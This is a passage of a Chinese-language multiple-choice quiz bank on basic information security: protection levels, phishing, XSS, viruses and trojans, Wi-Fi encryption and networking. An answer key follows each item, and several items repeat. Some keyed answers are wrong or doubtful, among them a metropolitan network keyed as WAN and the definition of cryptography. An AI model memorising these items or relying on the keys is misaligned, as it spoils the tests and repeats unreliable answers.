��作的基本方法</p>
<p>C、 是提高国家综合竞争力的主要手段</p>
<p>D、 是促进信息化、维护国家信息安全的根本保障</p>
<p>标准答案： C</p>
<p>39、以下关于等级保护的说法中不正确的是：（ ）</p>
<p>A、 信息安全等级保护是对信息和信息载体按照重要性等级分级别进行保护的一种工作</p>
<p>B、 在中国、美国等很多国家都存在的一种信息安全领域的工作</p>
<p>C、 广义上为涉及到该工作的标准、产品、系统、信息等均依据等级保护思想的安全工作</p>
<p>D、 信息系统的等级保护工作不具有分级别保护的区别，可以统一进行防护</p>
<p>标准答案： D</p>
<p>40、以下关于等级保护工作说法不正确的是：（ ）</p>
<p>A、 信息安全等级保护工作主要是由使用方来进行，无需其他厂商、主管部门的参与</p>
<p>B、 等级保护是涉及技术与管理两个领域的复杂系统工程</p>
<p>C、 对于不同的信息系统划分不同的安全等级，提出逐级增强的安全指标基本要求</p>
<p>D、 信息安全等级保护建设的主要内容，就是要从“机密性、完整性以及可用性”的角度，客观评价保护对象（信息系统）的重要性</p>
<p>标准答案： A</p>
<p>41、访问网址<a rel="nofollow" href="http://www.1cbc.com.cn/">www.1cbc.com.cn</a>，将可能遭受（ ）攻击？</p>
<p>A、 缓冲区溢出攻击</p>
<p>B、 钓鱼攻击</p>
<p>C、 SQL注入攻击</p>
<p>D、 拒绝服务攻击</p>
<p>标准答案： B</p>
<p>42、钓鱼攻击具有下列选项中除了（ ）以外的所有特点。</p>
<p>A、 欺骗性Web链接</p>
<p>B、 真实的发送方地址</p>
<p>C、 一般性的问候</p>
<p>D、 要求采取行动的紧急请求</p>
<p>标准答案： B</p>
<p>43、下列对XSS攻击（跨站脚本攻击）描述正确的是（ ）</p>
<p>A、 XSS攻击指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。</p>
<p>B、 XSS攻击是DDOS攻击的一种变种。</p>
<p>C、 XSS攻击就是CC攻击。</p>
<p>D、 XSS攻击就是利用被控制的机器不断地向被攻击网站发送访问请求，迫使IIS 连接数超出限制，当CPU 资源或者带宽资源耗尽，那么网站也就被攻击垮了，从而达到攻击目的。</p>
<p>标准答案： A</p>
<p>44、黑客利用IP地址进行攻击的方法有（ ）。</p>
<p>A、 欺骗</p>
<p>B、 解密</p>
<p>C、 窃取口令</p>
<p>D、 发送病毒</p>
<p>标准答案： A</p>
<p>45、下列对XSS攻击（跨站脚本攻击）描述正确的是（ ）。</p>
<p>A、 XSS攻击指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中的html代码会被执行，从而达到恶意攻击用户的特殊目的</p>
<p>B、 XSS攻击是DDOS攻击的一种变种</p>
<p>C、 XSS攻击就是CC攻击</p>
<p>D、 XSS攻击就是利用被控制的机器不断地向被攻击网站发送访问请求，迫使IIS 连接数超出限制，当CPU 资源或者带宽资源耗尽，那么网站也就被攻击垮了，从而达到攻击目的</p>
<p>标准答案： A</p>
<p>46、下列网络攻击者称谓中，（ ）的技术含量通常最低。</p>
<p>A、 黑客</p>
<p>B、 脚本小子</p>
<p>C、 间谍</p>
<p>D、 网络恐怖分子</p>
<p>标准答案： B</p>
<p>47、秘密地将自己添加到文档或程序等宿主上，当文档被打开或程序被执行时执行的程序，称作（ ）。</p>
<p>A、 病毒</p>
<p>B、 蠕虫</p>
<p>C、 Rootkit</p>
<p>D、 木马</p>
<p>标准答案： A</p>
<p>48、病毒可以通过下列选项中除（ ）以外的方式从一台计算机传播到另一台计算机。</p>
<p>A、 作为电子邮件的被感染文件</p>
<p>B、 优盘上的被感染文件</p>
<p>C、 从互联网上下载的被感染文件</p>
<p>D、 重启计算机</p>
<p>标准答案： D</p>
<p>49、计算机病毒有很多种类型，但不包括（ ）。</p>
<p>A、 文件感染类病毒</p>
<p>B、 远程病毒</p>
<p>C、 内存驻留病毒</p>
<p>D、 引导区病毒</p>
<p>标准答案： B</p>
<p>50、 黑客要想控制某些用户，需要把木马程序安装到用户的机器中，实际上安装的是（ ）。</p>
<p>A、 木马的控制端程序</p>
<p>B、 木马的服务端程序</p>
<p>C、 不用安装</p>
<p>D、 控制端、服务端程序都必需安装</p>
<p>标准答案： B</p>
<p>1、防间谍软件要求下列选项中除（ ）以外的所有特性。</p>
<p>A、 定期更新以防止最新间谍软件攻击</p>
<p>B、 能提供连续性监控并能够完全扫描整个计算机</p>
<p>C、 能够显示威胁处理推荐动作的详细信息</p>
<p>D、 只有商业软件可用，需要按年付费</p>
<p>标准答案： D</p>
<p>2、 在TCP/IP参考模型中，应用层是最高的一层，它包括了所有的高层协议。下列协议中不属于应用层协议的是（ ）</p>
<p>A、 HTTP</p>
<p>B、 FTP</p>
<p>C、 UDP</p>
<p>D、 SMTP</p>
<p>标准答案： C</p>
<p>3、下列方法中，识别Email来源真实性最可靠的是（ ）。</p>
<p>A、 查看发件服务器地址</p>
<p>B、 查看发件人名称</p>
<p>C、 查看发件人地址</p>
<p>D、 查看回信地址</p>
<p>标准答案： A</p>
<p>4、下列选项中，除了（ ）以外都是杀毒软件发现病毒时的可选项。</p>
<p>A、 清除文件中的病毒</p>
<p>B、 隔离被感染文件</p>
<p>C、 发送邮件告诉攻击者病毒已暴露</p>
<p>D、 删除包含病毒的文件</p>
<p>标准答案： C</p>
<p>5、（ ）是一个预先定义的电子邮件地址列表，用户可以接收来自该列表中地址的邮件。</p>
<p>A、 僵尸网络</p>
<p>B、 黑名单blacklist</p>
<p>C、 白名单whitelist</p>
<p>D、 干净列表</p>
<p>标准答案： C</p>
<p>6、密码学包括密码编码学和密码解码学。（ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>7、可以通过配置（ ）来防止用户通过多次登录尝试来猜测其他人的密码</p>
<p>A、 密码策略</p>
<p>B、 账户锁定策略</p>
<p>C、 Kerberos策略</p>
<p>D、 审计策略</p>
<p>标准答案： B</p>
<p>8、Ping命令使用ICMP的哪一种Code类型（ ）。</p>
<p>A、 Redirect</p>
<p>B、 Echo reply</p>
<p>C、 Source quench</p>
<p>D、 Destination Unreachable</p>
<p>标准答案： B</p>
<p>9、在Linux系统中，修改口令策略和查看某个用户的口令策略分别是对如下哪两个文件进行操作（ ）。</p>
<p>A、 /etc/login.defs和/etc/shadow</p>
<p>B、 /etc/login.defs和/etc/passwd</p>
<p>C、 /etc/passwd和/etc/shadow</p>
<p>D、 /etc/shadow和/etc/login</p>
<p>标准答案： A</p>
<p>10、在信息系统安全中，风险由（ ）两种因素共同构成的。</p>
<p>A、 攻击和脆弱性</p>
<p>B、 威胁和攻击</p>
<p>C、 威胁和脆弱性</p>
<p>D、 威胁和破坏</p>
<p>标准答案： C</p>
<p>11、Windows系统中权限最高为（ ）。</p>
<p>A、 administrators</p>
<p>B、 power users</p>
<p>C、 guests</p>
<p>D、 system</p>
<p>标准答案： D</p>
<p>12、Windows紧急修复盘不能修复下列哪个项目（ ）。</p>
<p>A、 硬件兼容问题</p>
<p>B、 分区引导扇区</p>
<p>C、 启动环境</p>
<p>D、 系统文件</p>
<p>标准答案： A</p>
<p>13、Windows系统中“net share”命令的作用是（ ）。</p>
<p>A、 查看本机的共享资源</p>
<p>B、 创建本机的共享资源</p>
<p>C、 删除本机的共享资源</p>
<p>D、 查看局域网内其他主机的共享资源</p>
<p>标准答案： A</p>
<p>14、 Windows平台的可执行文件格式是（ ）。</p>
<p>A、 TXT</p>
<p>B、 PE</p>
<p>C、 ELF</p>
<p>D、 PPT</p>
<p>标准答案： B</p>
<p>15、网络安全中的CIA三元组指的是（ ）。</p>
<p>A、 机密性，完整性，可用性</p>
<p>B、 真实性，完整性，可控性</p>
<p>C、 机密性，真实性，可用性</p>
<p>D、 完整性，可用性，可控性</p>
<p>标准答案： A</p>
<p>16、信息安全的目标之一是确保数据对授权用户是可访问的，也称作（ ）目标。</p>
<p>A、 可用性</p>
<p>B、 完整性</p>
<p>C、 机密性</p>
<p>D、 机密性、完整性、和可用性</p>
<p>标准答案： A</p>
<p>17、以通过发现漏洞来提升安全性为目标的黑客，被称作（ ）。</p>
<p>A、 黑帽子黑客</p>
<p>B、 白帽子黑客</p>
<p>C、 牛仔攻击者</p>
<p>D、 资源攻击者</p>
<p>标准答案： B</p>
<p>18、在网络攻击的典型步骤中，攻击者在探查计算机或网络信息后，下一步将（ ）。</p>
<p>A、 修改网络安全配置</p>
<p>B、 穿透网络安全防护</p>
<p>C、 瘫痪网络和设备</p>
<p>D、 迂回到其他系统</p>
<p>标准答案： B</p>
<p>19、从不同厂家购买安全产品，希望一家产品的安全失效不会影响整个系统的安全性，这是利用（ ）来提升安全性。</p>
<p>A、 模糊性</p>
<p>B、 纵深防御</p>
<p>C、 限制性</p>
<p>D、 多样性</p>
<p>标准答案： D</p>
<p>20、（ ）是一个计算机程序或一个程序的一部分，它平时保持休眠直到被特定的逻辑事件触发。</p>
<p>A、 逻辑炸弹</p>
<p>B、 触发器</p>
<p>C、 蠕虫</p>
<p>D、 病毒</p>
<p>标准答案： A</p>
<p>21、当成百上千计算机被远程控制时就形成了（ ）。</p>
<p>A、 僵尸网络</p>
<p>B、 爬虫网络</p>
<p>C、 木马网络</p>
<p>D、 暗网</p>
<p>标准答案： A</p>
<p>22、（ ）被用于将文本、图像、音频和视频合并到一个单一文档中。</p>
<p>A、 TCP/IP</p>
<p>B、 HTML</p>
<p>C、 HTTP</p>
<p>D、 HSL</p>
<p>标准答案： B</p>
<p>23、现代计算机的基本输入输出系统（BIOS）存储在（ ）芯片上。</p>
<p>A、 银闪存</p>
<p>B、 基本输出／输入</p>
<p>C、 可编程只读存储器</p>
<p>D、 只读存储器</p>
<p>标准答案： C</p>
<p>24、RAID1 是一种（ ）的磁盘镜像技术。</p>
<p>A、 从磁盘读取数据两次</p>
<p>B、 数据写到多磁盘</p>
<p>C、 刷BIOS</p>
<p>D、 降低可靠性</p>
<p>标准答案： B</p>
<p>25、Cookie（ ）。</p>
<p>A、 可以包含病毒</p>
<p>B、 行为类似蠕虫</p>
<p>C、 可能带来隐私风险</p>
<p>D、 是在Web服务器计算机上放置的小文件</p>
<p>标准答案： C</p>
<p>26、关于键盘记录器，下列选项中除（ ）以外都是正确的。</p>
<p>A、 它可能是插在键盘连接器和计算机键盘端口之间的一个小设备</p>
<p>B、 它只搜集在网站上输入的信息</p>
<p>C、 击键记录被其搜集并存储为文档</p>
<p>D、 软件键盘记录器通常作为木马被下载和安装</p>
<p>标准答案： B</p>
<p>27、对社交网站上分享的内容应考虑设置“只有我的朋友”查看，这是因为_（ ）。</p>
<p>A、 社交网络上的朋友不可信</p>
<p>B、 社交网络对于谁能加入网络查看信息没有控制</p>
<p>C、 社交网络要求该选项</p>
<p>D、 攻击者不会假装成朋友</p>
<p>标准答案： B</p>
<p>28、服务器数字证书能验证组织的存在性和身份，并支持对通信内容的加密。访问带有服务器数字证书的网站时，浏览器会显示（ ）。</p>
<p>A、 绿色复选标记</p>
<p>B、 锁</p>
<p>C、 蓝色地球</p>
<p>D、 计算机</p>
<p>标准答案： B</p>
<p>29、程序和数据能够存储于其上的集中式网络计算机，称作（ ）。</p>
<p>A、 服务器</p>
<p>B、 客户端</p>
<p>C、 Web代理</p>
<p>D、 网络设备认证</p>
<p>标准答案： A</p>
<p>30、IP地址的一个例子是（ ）。</p>
<p>A、 $800922$9988</p>
<p>B、 14102009</p>
<p>C、 00:15:59:3B:30:C3</p>
<p>D、 192.168.11.100</p>
<p>标准答案： D</p>
<p>31、城域网又称为（ ）。</p>
<p>A、 WAN</p>
<p>B、 LAN</p>
<p>C、 PAN</p>
<p>D、 WPAN</p>
<p>标准答案： A</p>
<p>32、用户为了（ ）可以允许网络上的其他用户查看目录内容。</p>
<p>A、 文本传递</p>
<p>B、 网络认证</p>
<p>C、 目录分发</p>
<p>D、 文件共享</p>
<p>标准答案： D</p>
<p>33、对WiFi信号进行沿街扫描，不需要使用（ ）。</p>
<p>A、 USB无线网卡</p>
<p>B、 全方向天线</p>
<p>C、 移动计算机设备</p>
<p>D、 音频喇叭</p>
<p>标准答案： D</p>
<p>34、计算机网络按威胁对象大体可分为两种：一是对网络中信息的威胁； 二是（ ）</p>
<p>A、 人为破坏</p>
<p>B、 对网络中设备的威胁</p>
<p>C、 病毒威胁</p>
<p>D、 对网络人员的威胁</p>
<p>标准答案： B</p>
<p>35、在网络寻址过程中，将目标设备IP翻译为MAC地址的协议是（ ）</p>
<p>A、 ICMP</p>
<p>B、 DNS</p>
<p>C、 SNMP</p>
<p>D、 ARP</p>
<p>标准答案： D</p>
<p>36、信息安全管理最关注的是（ ）</p>
<p>A、 外部恶意攻击</p>
<p>B、 病毒对PC的影响</p>
<p>C、 内部恶意攻击</p>
<p>D、 病毒对网络的影响</p>
<p>标准答案： C</p>
<p>37、在需要保护的信息资产中（ ）是最重要的</p>
<p>A、 环境</p>
<p>B、 硬件</p>
<p>C、 数据</p>
<p>D、 软件</p>
<p>标准答案： C</p>
<p>38、美国国防部在他们公布的可信计算机系统评价标准中，将计算机系统的安全级别分为四类七个安全级别，其中描述不正确的是（ ）</p>
<p>A、 A类的安全级别比B类高</p>
<p>B、 C1类的安全级别比C2类要高</p>
<p>C、 随着安全级别的提高，系统的可恢复性就越高</p>
<p>D、 随着安全级别的提高，系统的可信度就越高</p>
<p>标准答案： B</p>
<p>39、甲通过计算机网络给乙发消息，说其同意签定合同。随后甲反悔，不承认发过该条消息。为了防止这种情况发生，应在计算机网络中采用（ ）。</p>
<p>A、 消息认证技术</p>
<p>B、 数据加密技术</p>
<p>C、 防火墙技术</p>
<p>D、 数字签名技术</p>
<p>标准答案： D</p>
<p>40、甲通过计算机网络给乙发消息，说其同意签定合同。随后甲反悔，不承认发过该条消息。为了防止这种情况发生，应在计算机网络中采用（ ）</p>
<p>A、 消息认证技术</p>
<p>B、 数据加密技术</p>
<p>C、 防火墙技术</p>
<p>D、 数字签名技术</p>
<p>标准答案： D</p>
<p>41、 数字信封技术能够（ ）</p>
<p>A、 对发送者和接受者的身份进行认证</p>
<p>B、 对发送者的身份进行认证</p>
<p>C、 防止交易中的抵赖发生</p>
<p>D、 保证数据在传输过程中的安全性</p>
<p>标准答案： D</p>
<p>42、 防止用户被冒名所欺骗的方法是（ ）。</p>
<p>A、 对信息源发方进行身份验证</p>
<p>B、 进行数据加密</p>
<p>C、 对访问网络的流量进行过滤和保护</p>
<p>D、 采用防火墙</p>
<p>标准答案： A</p>
<p>43、下列概念中，不能用于身份认证的手段是（ ）。</p>
<p>A、 限制地址和端口</p>
<p>B、 用户名和口令</p>
<p>C、 杀毒软</p>
<p>D、 智能卡</p>
<p>标准答案： C</p>
<p>44、利用他人的个人信息来开设银行账户进行消费，然后不予还款的行为属于（ ）。</p>
<p>A、 责任窃取</p>
<p>B、 个人假冒攻击</p>
<p>C、 借贷诈骗</p>
<p>D、 身份盗用</p>
<p>标准答案： D</p>
<p>45、提供证据表明用户身份真实性的过程称作（ ）。</p>
<p>A、 标识</p>
<p>B、 注册</p>
<p>C、 真实性验证</p>
<p>D、 身份认证</p>
<p>标准答案： D</p>
<p>46、将要输入到算法中进行加密的数据称作（ ）。</p>
<p>A、 明码电文</p>
<p>B、 公开文本</p>
<p>C、 密文</p>
<p>D、 明文</p>
<p>标准答案： D</p>
<p>47、下列关于预防网络攻击的说法正确的是（ ）</p>
<p>A、 现代服务器和 PC 操作系统具有可以信赖的默认安全设置。</p>
<p>B、 入侵防御系统可以记录可疑的网络活动，但在没有用户干预的情况下无法对抗正在进行的攻击。</p>
<p>C、 物理安全威胁的防范包括控制对设备控制台端口的访问、标识关键电缆、安装 UPS 系统以及提供温湿控制。</p>
<p>D、 防止网络钓鱼攻击的最好方法是采用防火墙设备。</p>
<p>标准答案： C</p>
<p>48、可以通过配置（ ）来防止用户通过多次登录尝试来猜测其他人的密码。</p>
<p>A、 密码策略</p>
<p>B、 账户锁定策略</p>
<p>C、 Kerberos策略</p>
<p>D、 审计策略</p>
<p>标准答案： B</p>
<p>49、PDRR一般是指信息安全保障中的（ ）等主要环节。</p>
<p>A、 策略、保护、响应、恢复</p>
<p>B、 加密、认证、保护、检测</p>
<p>C、 策略、网络攻防、密码学、备份</p>
<p>D、 保护、检测、响应、恢复</p>
<p>标准答案： D</p>
<p>50、PING命令使用ICMP的哪一种code类型：（ ）</p>
<p>A、 Redirect</p>
<p>B、 Echo reply</p>
<p>C、 Source quench</p>
<p>D、 Destination Unreachable</p>
<p>标准答案： B</p>
<p>1、如果想要限制用户过多的占用磁盘空间，应当（ ）</p>
<p>A、 设置磁盘配额</p>
<p>B、 设置数据压缩</p>
<p>C、 设置文件加密</p>
<p>D、 设置动态存储</p>
<p>标准答案： A</p>
<p>2、关于代理服务说法正确的是( )</p>
<p>A、 代理服务允许用户“直接”访问因特网，对用户来讲是透明的</p>
<p>B、 代理服务能够弥补协议本身的缺陷</p>
<p>C、 所有服务都可以进行代理</p>
<p>D、 代理服务不适合于做日志</p>
<p>标准答案： A</p>
<p>3、代理服务（ ）</p>
<p>A、 需要特殊硬件，大多数服务需要专用软件</p>
<p>B、 不需要特殊硬件，大多数服务需要专用软件</p>
<p>C、 需要特殊硬件，大多数服务不需要专用软件</p>
<p>D、 不需要特殊硬件，大多数服务不需要专用软件险</p>
<p>标准答案： B</p>
<p>4、 Ipsec不可以做到（ ）</p>
<p>A、 认证</p>
<p>B、 完整性检查</p>
<p>C、 加密</p>
<p>D、 签发证书</p>
<p>标准答案： D</p>
<p>5、小张经常出差，要在外地访问公司的财务信息系统，他应该采用的安全、廉价的通讯方式是（ ）</p>
<p>A、 PPP连接到公司的RAS服务器上。</p>
<p>B、 远程访问VPN</p>
<p>C、 电子邮件</p>
<p>D、 与财务系统的服务器PPP连接。</p>
<p>标准答案： B</p>
<p>6、 HTTP是（ ）。</p>
<p>A、 WWW协议</p>
<p>B、 文件传输协议</p>
<p>C、 信息浏览协议</p>
<p>D、 超文本传输协议</p>
<p>标准答案： D</p>
<p>7、SSL指的是（ ）</p>
<p>A、 加密认证协议</p>
<p>B、 安全套接层协议</p>
<p>C、 授权认证协议</p>
<p>D、 安全通道协议</p>
<p>标准答案： B</p>
<p>8、当无线路由器wifi密码安全类型为（ ），最容易破解。</p>
<p>A、 WPA2-PSK</p>
<p>B、 WEP</p>
<p>C、 WPA-PSK</p>
<p>D、 WPA</p>
<p>标准答案： B</p>
<p>9、最低效的口令攻击类型是（ ）。</p>
<p>A、 暴力破解攻击</p>
<p>B、 字典攻击</p>
<p>C、 彩虹表攻击</p>
<p>D、 机器攻击</p>
<p>标准答案： A</p>
<p>10、无线路由器支持WEP、WPA、WPA2等方式的加密功能，它们的安全强度顺序为（ ）。</p>
<p>A、 WPA2&gt;WPA&gt;WEP</p>
<p>B、 WEP&gt;WPA&gt;WPA2</p>
<p>C、 WEP&gt;WPA2&gt;WPA</p>
<p>D、 都相同</p>
<p>标准答案： A</p>
<p>11、SSID（Service Set Identifier）（ ）。</p>
<p>A、 是无线网络标识符</p>
<p>B、 不能改变</p>
<p>C、 从不因任何安全原因由无线路由器发送</p>
<p>D、 在有线网络上必须少于４个字符</p>
<p>标准答案： A</p>
<p>12、试图阻止无线监听但又包含严重缺陷，现在不应再使用的标准是（ ）。</p>
<p>A、 WEP</p>
<p>B、 WAP-2</p>
<p>C、 NICW</p>
<p>D、 INFOMATICS</p>
<p>标准答案： A</p>
<p>13、保护无线网络的第一步是（ ）。</p>
<p>A、 创建用户名和口令，禁止非法用户访问无线路由器</p>
<p>B、 禁用无线路由器网络共享</p>
<p>C、 使用IP地址过滤</p>
<p>D、 取消非军事区</p>
<p>标准答案： A</p>
<p>14、将单位内部的局域网接入Internet（因特网）所需使用的接入设备是（ ）。</p>
<p>A、 防火墙</p>
<p>B、 集线器</p>
<p>C、 路由器</p>
<p>D、 中继转发器</p>
<p>标准答案： C</p>
<p>15、垃圾邮件过滤器（ ）。</p>
<p>A、 可由互联网服务提供商使用来拦截消息</p>
<p>B、 只能由本地电子邮件客户端使用</p>
<p>C、 要求同时创建黑名单和白名单</p>
<p>D、 只能被POP3服务器使用</p>
<p>标准答案： A</p>
<p>16、来自于多个攻击源而不是单一攻击源的攻击，称作（ ）攻击。</p>
<p>A、 分布式</p>
<p>B、 隔离</p>
<p>C、 脚本资源恶意软件</p>
<p>D、 表格资源</p>
<p>标准答案： A</p>
<p>17、下列哪个 IPv4 地址代表子网的广播地址（ ）</p>
<p>A、 172.16.4.129 /26</p>
<p>B、 172.16.4.191 /26</p>
<p>C、 172.16.4.51 /27</p>
<p>D、 172.16.4.221 /27</p>
<p>标准答案： B</p>
<p>18、可以被数据完整性机制防止的攻击方式是（ ）。</p>
<p>A、 假冒源地址或用户的地址欺骗攻击</p>
<p>B、 抵赖做过信息的递交行为</p>
<p>C、 数据中途被攻击者窃听获取</p>
<p>D、 数据在途中被攻击者篡改或破坏</p>
<p>标准答案： D</p>
<p>19、黑客利用IP地址进行攻击的方法有（ ）</p>
<p>A、 IP欺骗</p>
<p>B、 解密</p>
<p>C、 窃取口令</p>
<p>D、 发送病毒</p>
<p>标准答案： A</p>
<p>20、在OSI七层协议中，提供一种建立连接并有序传输数据的方法的层是（ ）。</p>
<p>A、 传输层</p>
<p>B、 表示层</p>
<p>C、 会话层</p>
<p>D、 应用层</p>
<p>标准答案： C</p>
<p>21、操作系统经常需要进行补丁升级，在进行补丁升级时通常需要管理员权限，因此在使用电脑的过程中，我们应该尽可能地使用管理员帐户登录系统进行日常操作。 （ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>22、网络管理的功能有（ ）。</p>
<p>A、 性能分析和故障检测</p>
<p>B、 安全性管理和计费管理</p>
<p>C、 网络规划和配置管理</p>
<p>D、 以上都是</p>
<p>标准答案： D</p>
<p>23、如果想要限制用户过多的占用磁盘空间，应当（ ）。</p>
<p>A、 设置磁盘配额</p>
<p>B、 设置数据压缩</p>
<p>C、 设置文件加密</p>
<p>D、 设置动态存储</p>
<p>标准答案： A</p>
<p>24、在需要保护的信息资产中（ ）是最重要的。</p>
<p>A、 环境</p>
<p>B、 硬件</p>
<p>C、 数据</p>
<p>D、 软件</p>
<p>标准答案： C</p>
<p>25、让攻击者“进不来”“拿不走”“看不懂”“改不了”“走不脱”是网络信息安全建设的目的。其中，“看不懂”是指（ ）安全服务。</p>
<p>A、 数据加密</p>
<p>B、 身份认证</p>
<p>C、 数据完整性</p>
<p>D、 访问控制</p>
<p>标准答案： A</p>
<p>26、“计算机可能被盗”是（ ）的一个例子。</p>
<p>A、 漏洞利用</p>
<p>B、 漏洞</p>
<p>C、 资产</p>
<p>D、 风险</p>
<p>标准答案： D</p>
<p>27、关于临时互联网文件目录，下述说法中除（ ）以外都是正确的。</p>
<p>A、 是浏览器首先检查是否已经存储了HTML文档的位置</p>
<p>B、 是存储特殊加密文件的地方</p>
<p>C、 应该定期删除</p>
<p>D、 永远不应该删除</p>
<p>标准答案： D</p>
<p>28、除个人计算机里文件的共享功能，可以（ ）。</p>
<p>A、 将文件加密</p>
<p>B、 将计算机80端口封闭</p>
<p>C、 将计算机里的Server服务关闭</p>
<p>D、 将计算机里的System进程关闭</p>
<p>标准答案： C</p>
<p>29、小王是网管，为了监听攻击效果最好，监听设备不应放在( ) 。</p>
<p>A、 网关</p>
<p>B、 路由器</p>
<p>C、 中继器</p>
<p>D、 防火墙</p>
<p>标准答案： C</p>
<p>30、个人电脑中使用netstat命令查看进程识别符（PID）配合资源管理器查看是否有病毒等恶意进程与外界非法通讯，netstat命令需要配合增加的参数是（ ）。</p>
<p>A、 netstat -a</p>
<p>B、 netstat -s</p>
<p>C、 netstat -o</p>
<p>D、 netstat–ano</p>
<p>标准答案： D</p>
<p>31、下列选项中除（ ）以外都是社交网站成为网络攻击主要目标的原因。</p>
<p>A、 社交网站采用强安全措施</p>
<p>B、 社交网站包含私人用户信息</p>
<p>C、 这些网站上的用户通常容易轻信</p>
<p>D、 这些网站上可能找到生日、住址、工作历史等信息</p>
<p>标准答案： A</p>
<p>32、下列选项中，除（ ）以外都可能是身份盗用行为。</p>
<p>A、 制作假支票或借记卡，从银行账户中转走所有的钱</p>
<p>B、 以受害人的名字来申请破产，以逃避债务</p>
<p>C、 以用户的名字开设银行账户，并利用该账户开不良支票</p>
<p>D、 向网上银行账户系统发送蠕虫</p>
<p>标准答案： D</p>
<p>33、攻击者为了使恶意软件具有较长的生命周期，通常需要对其进行免杀处理。这种免杀处理主要是对抗（）。</p>
<p>A、 特征码检测</p>
<p>B、 虚拟机</p>
<p>C、 启发式扫描</p>
<p>D、 主动防御</p>
<p>标准答案： A</p>
<p>34、（ ）用于描述损害用户个人信息安全的软件。</p>
<p>A、 间谍软件Spyware</p>
<p>B、 恶意软件Malware</p>
<p>C、 广告软件Ad ware</p>
<p>D、 网络操作系统Netware</p>
<p>标准答案： B</p>
<p>35、社会工程是指需要整个社会共同关注、共同努力、能对整个社会的产生积极影响的重大规划和项目，譬如全社会网络用户上网安全意识的培训。 （ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>36、（ ）是攻击者安装在计算机上的程序，它篡改Web浏览器的主页和搜索引擎将其指向其它站点。</p>
<p>A、 IE重定位器</p>
<p>B、 互联网服务器重定位器</p>
<p>C、 IMAPI</p>
<p>D、 浏览器劫持软件</p>
<p>标准答案： D</p>
<p>37、还未公开的漏洞，称作（ ）漏洞？</p>
<p>A、 未识别攻击向量</p>
<p>B、 资源</p>
<p>C、 不确定</p>
<p>D、 零日</p>
<p>标准答案： D</p>
<p>38、用于修复软件发布之后所发现漏洞的安全更新，称作（ ）。</p>
<p>A、 密钥</p>
<p>B、 资源</p>
<p>C、 更新发布程序</p>
<p>D、 补丁</p>
<p>标准答案： D</p>
<p>39、攻击者使用（ ）技术在被攻击主机内存中插入一个新的“返回地址”，并使其指向包含攻击者提供的恶意代码的内存区地址。</p>
<p>A、 缓冲区溢出攻击</p>
<p>B、 木马攻击</p>
<p>C、 文件上传攻击</p>
<p>D、 蠕虫攻击</p>
<p>标准答案： A</p>
<p>40、下列关于超链接的说法除（ ）以外都是正确的。</p>
<p>A、 经常可以在电子邮件消息中发现</p>
<p>B、 他们可能显示的不是真实的链接目标</p>
<p>C、 已经很少使用了</p>
<p>D、 需要用户点击才能启动</p>
<p>标准答案： C</p>
<p>41、（ ）是指有能力带来威胁的人或事物。</p>
<p>A、 漏洞</p>
<p>B、 威胁代理</p>
<p>C、 漏洞利用</p>
<p>D、 风险因子</p>
<p>标准答案： B</p>
<p>42、（ ）操作可能会威胁到智能手机的安全性。</p>
<p>A、 越狱</p>
<p>B、 Root</p>
<p>C、 安装来自第三方市场的软件</p>
<p>D、 以上都是</p>
<p>标准答案： D</p>
<p>43、 将U盘插入到在公用电脑上，当电脑检测到U盘之后迅速按照正常程序卸载并弹出U盘，该操作过程是不会导致U盘中涉密文件泄密的。 （ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>44、下列关于Android的描述正确的是（ ）。</p>
<p>A、 默认不支持对APP的权限进行限制，所以比iOS的安全性差</p>
<p>B、 默认不能安装配套市场以外的APP，但是经过用户授权后可以安装</p>
<p>C、 在屏幕被锁定时，默认不允许拨打任何电话号码</p>
<p>D、 即使被种植了木马，只要屏幕不解锁，木马也不能执行</p>
<p>标准答案： B</p>
<p>45、木马程序通常是恶意攻击者入侵到我们的电脑之后植入的，很少因为用户自己的原因导致木马植入。（ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>46、绿色上网软件可以自动过滤或屏蔽互联网上的（ ）保护青少年健康成长。</p>
<p>A、 网络游戏</p>
<p>B、 网络聊天信息</p>
<p>C、 淫秽色情信息</p>
<p>D、 好莱坞等电影大片</p>
<p>标准答案： C</p>
<p>47、数据文件不具有可执行性的特点，因此在一台干净的计算机上仅仅打开一个外来的数据文件（如Word文档、Pdf文档等）是不可能导致该计算机被感染病毒的。 （ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>48、网络视频聊天相对于文字聊天而言具有较高的安全性，因为网络视频聊天是面对面的交流，是不可伪造的。但视频聊天却具有众多安全隐患，譬如可能被人录像等。（ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>49、“联网计算机不涉密，涉密计算机不联网”是指，计算机在上网的时候不能查看涉密信息，计算机涉密的时候不能连接互联网。（ ）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>50、对称密码系统的加密密钥和解密密钥相同，或存在简单推导关系，因此又被称为（ ）。</p>
<p>A、 单钥密码系统</p>
<p>B、 公／私钥密码系统</p>
<p>C、 公钥密码系统</p>
<p>D、 双钥密码系统</p>
<p>标准答案： A</p>
<p>1、在iPhone安装新浪微博客户端，正确的做法是（ ）。</p>
<p>A、 进入【App Store】，搜索“新浪微博”，然后安装</p>
<p>B、 下载“新浪微博”程序，使用数据线拷贝到iPhone上，然后安装</p>
<p>C、 直接将互联网上下载的“新浪微博”程序拷贝到iPhone即可</p>
<p>D、 以上都不对</p>
<p>标准答案： A</p>
<p>2、Rootkit的主要目标是（ ）。</p>
<p>A、 隐藏其存在</p>
<p>B、 重新格式化硬盘</p>
<p>C、 复制到其他计算机</p>
<p>D、 启动僵尸网络</p>
<p>标准答案： A</p>
<p>3、Cookie______。</p>
<p>A、 可以包含病毒</p>
<p>B、 行为类似蠕虫</p>
<p>C、 可能带来隐私风险</p>
<p>D、 是在Web服务器计算机上放置的小文件</p>
<p>标准答案： C</p>
<p>4、用于修复软件发布之后所发现漏洞的安全更新，称作______。</p>
<p>A、 密钥</p>
<p>B、 资源</p>
